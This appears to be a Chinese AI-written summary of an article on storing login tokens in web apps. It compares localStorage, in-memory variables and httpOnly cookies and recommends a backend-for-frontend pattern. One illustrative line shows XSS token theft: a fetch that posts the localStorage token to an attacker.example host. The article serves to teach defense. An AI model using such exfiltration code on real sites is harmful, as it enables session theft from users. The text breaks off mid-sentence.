现代应用身份验证的最佳实践探讨
速览
文章分析了当前应用开发中常用的身份验证方案,如OAuth、JWT、密码less等,并比较了各自的优缺点。旨在帮助开发者选择最适合应用场景的身份验证方式,平衡安全性与用户体验。
AI 深度解读
现代应用认证的最佳实践:如何安全存储 Token
背景
现代 Web 应用中,用户登录后的认证 token 存储一直是前端开发者争论的焦点。问十个前端开发者“登录 token 应该存在哪里”,你会得到四个答案外加一场争论。每种方案针对不同的问题,争论难有定论。本文由技术创业者、资深前端工程师 Neciu Dan 撰写,深入剖析了 localStorage、内存变量和 httpOnly cookie 三种方案的优劣,并给出了结合现实安全风险(尤其 XSS)的最佳实践。
核心内容
基础方案:localStorage + JWT
最常见的教程式实现是这样的:用户提交登录表单,服务器验证密码后返回一个 JWT token,前端将其存入 localStorage,后续每个请求都通过 Authorization: Bearer 头部携带 token。
async function login(email, password) {
const res = await fetch('/api/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password }),
});
const { token } = await res.json();
localStorage.setItem('token', token);
}
async function fetchProfile() {
const res = await fetch('/api/me', {
headers: {
Authorization: `Bearer ${localStorage.getItem('token')}`,
},
});
return res.json();
}
这个方案看似完美:localStorage 持久化,刷新不丢失;Authorization 头部跨域友好;服务器无需查数据库即可验证用户(“无状态”)。但有一个致命问题:localStorage 可以被页面上任何 JavaScript 读取。
XSS 攻击下 localStorage 的脆弱性
页面上的 JavaScript 不仅是你自己写的,还包括:
- 所有 npm 包的代码及其依赖
- 分析脚本(如 Google Analytics)
- 客服聊天插件
- 浏览器扩展注入的代码
- 最危险的:攻击者的 XSS 代码
XSS 攻击通常通过未转义的评论字段、URL 参数直接插入 DOM、或恶意依赖包触发。一旦攻击者能在页面上执行 JS,只需一行代码就能偷走 token:
fetch('https://attacker.example/collect', {
method: 'POST',
body: localStorage.getItem('token'),
});
“Bearer” 字面意思就是:谁持有这个 token,谁就是用户。服务器只检查签名,认出有效载荷就放行。攻击者不需要你的浏览器,不需要你的页面保持打开,他们可以在自己的机器上使用这个 token 直到过期。如果你按照许多教程设置的 7 天过期,那就是一把 7 天的万能钥匙,且无法撤销——因为“无状态”意味着服务器不做任何检查。
常见反驳:“如果能执行 JS,你已经完了”
有人说:如果攻击者能在你页面上执行 JavaScript,那他们本来就能做任何事——读取屏幕内容、以用户浏览器发起请求、利用浏览器自动携带的凭据。隐藏 token 似乎没有意义。
但作者指出,两者的实际危害范围不同。如果攻击者能读取 token,他们就可以带走它:关闭标签页后从自己的机器上随意使用,直到 token 过期。如果攻击者无法读取 token,他们只能“骑乘”当前活跃的会话——在用户浏览器内发请求,而这些请求会经过你的服务器,受限于速率限制、日志记录和风控检查。一个是偷走的钥匙,一个是只能在屋里活动、且被摄像头监控的窃贼。虽然两者都不理想,但 XSS 漏洞迟早会出现,现实目标是缩小爆炸半径:让 token 处于 JavaScript 无法读取的位置。
方案二:存储在内存变量中
第一种直觉:完全跳过持久化存储,用普通变量保存 token。
let accessToken = null;
async function login(email, password) {
const res = await fetch('/api/login', { ... });
const { token } = await res.json();
accessToken = token; // 只在内存中,不写入磁盘
}
变量位于模块作用域,不挂在任何可枚举的对象上,比 localStorage 更难抓取。但依然不安全:攻击者的代码运行在同一个 JavaScript 世界里,可以劫持 window.fetch,等待你的应用附加 Authorization 头部时复制 token。而且代价高昂:刷新页面后 JavaScript 世界重建,变量消失,用户被登出;打开新标签页也是独立的空变量。为了实现跨页面持久化,你可能引入一个更长生命周期的凭据(refresh token),但 refresh token 放哪?放 localStorage 又回到原点。
方案三:httpOnly Cookie
Cookie 曾因 CSRF 和安全缺陷而声誉不佳,但 httpOnly cookie 提供了一种 JavaScript 完全无法触及的存储位置。设置 cookie 时加上 httpOnly 标志,浏览器会禁止任何 JavaScript 读取该 cookie 的内容,但浏览器会在发往同域请求时自动携带它。
这意味着:攻击者即使能执行 JS 也无法读取 token。他们只能利用当前用户浏览器的活跃会话发起请求——所有请求都会经过你的服务器,受控于你。同时,httpOnly cookie 天然防御 XSS 偷取 token。但它也有缺陷:
- 跨域场景(如前端
localhost:3000调用 APIapi.example.com)需要配置 CORS,并且 cookie 在跨域请求中默认不发送,需要设置credentials: 'include'且资源服务器支持。 - 容易受 CSRF 攻击:其他站点可以诱导用户浏览器向你的 API 发送请求(浏览器会自动带上 cookie)。为此需要结合 CSRF token 或
SameSite属性(如SameSite=Strict或Lax)来缓解。 - 相比 Bearer 头部,cookie 的跨域兼容性较差,需要额外的配置。
现代推荐方案:结合 BFF(Backend for Frontend)
当前行业最佳实践是使用 BFF 模式:一个位于前端的后端中间层,由你的服务器控制。前端应用的所有 API 请求都先发给 BFF,BFF 再转发给下游服务。认证流程如下:
- 用户登录时,服务器返回一个 httpOnly cookie(包含 session 或 refresh token),同时返回一个短期 access token(放在响应体或仅存在于前端内存)。
- 前端将短期 access token 保存在内存变量中,用于直接发往 BFF 的请求(或 BFF 从 cookie 中自动提取 session 并签发短期 token)。
- 当 access token 过期或页面刷新时,前端通过 BFF 的端点(利用 httpOnly cookie)刷新新的 access token,而无需暴露 refresh token 给 JavaScript。
这样,长期凭据(refresh token 或 session ID)存储在 httpOnly cookie 中,对 JS 不可见;短期 access token 存在内存中,即使泄漏也很快失效。XSS 攻击者无法偷走长期凭据,只能利用当前会话,且所有请求都经过 BFF 层,你能进行日志、速率限制和风控。
关键要点
- localStorage 不安全:任何页面可执行的 JavaScript 都能读取,XSS 攻击可直接窃取 token 并永久滥用(直至过期)。
- 内存变量 比 localStorage 更难窃取,但依然能被攻击者劫持请求过程;且刷新页面、打开新标签页都会丢失,需要配合 refresh token,而 refresh token 的存储又回到老问题。
- httpOnly cookie 是唯一能让 JavaScript 完全无法读取 token 的浏览器存储机制。它防御了 XSS 偷取 token,但需配合 CSRF 防护(如 SameSite 属性或 CSRF token)。
- 核心原则:最小化爆炸半径。无法完全阻止 XSS 发生,但可以让攻击者在 XSS 后只能利用活跃会话,而不是拿走钥匙离线使用。
- 最佳实践:采用 BFF 架构,将长期凭据(refresh token/session)存放在 httpOnly cookie 中,短期 access token 存于内存。所有认证流程经过 BFF 层统一控制和安全审计。
- CSRF 不是放弃 cookie 的理由:现代浏览器已广泛支持
SameSite属性(默认 Lax),配合适当的Secure和HttpOnly标志,能有效缓解 CSRF。此外还可以使用 CSRF token 加固。
意义与影响
本文的意义在于打破了“localStorage + JWT 无状态认证”这一
